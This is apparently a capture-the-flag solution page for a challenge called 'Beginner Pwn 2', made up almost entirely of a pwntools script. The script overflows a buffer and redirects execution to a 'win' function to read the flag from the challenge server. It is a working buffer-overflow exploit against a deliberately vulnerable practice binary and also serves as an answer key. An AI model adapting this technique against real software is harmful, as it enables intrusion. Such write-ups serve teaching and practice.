Beginner Pwn 2
#buffer-overflow#solution-only
Contents
Solution
#!/usr/bin/env python3
from pwn import *
#import time
#from termcolor import colored
#from tqdm import tqdm
elf = ELF("./binary_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("chals.swampctf.com", 40001)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
offset = 0x12 * b'i'
win = elf.sym["win"]
payload = offset + p64(win)
r = conn()
r.sendline(payload)
r.recvuntil(b'\n')
r.recvuntil(b'Here is your flag! ')
flag = r.recvuntil(b'\n', drop=True)
print()
print(flag.decode())
print()
# r.interactive()
if __name__ == "__main__":
main()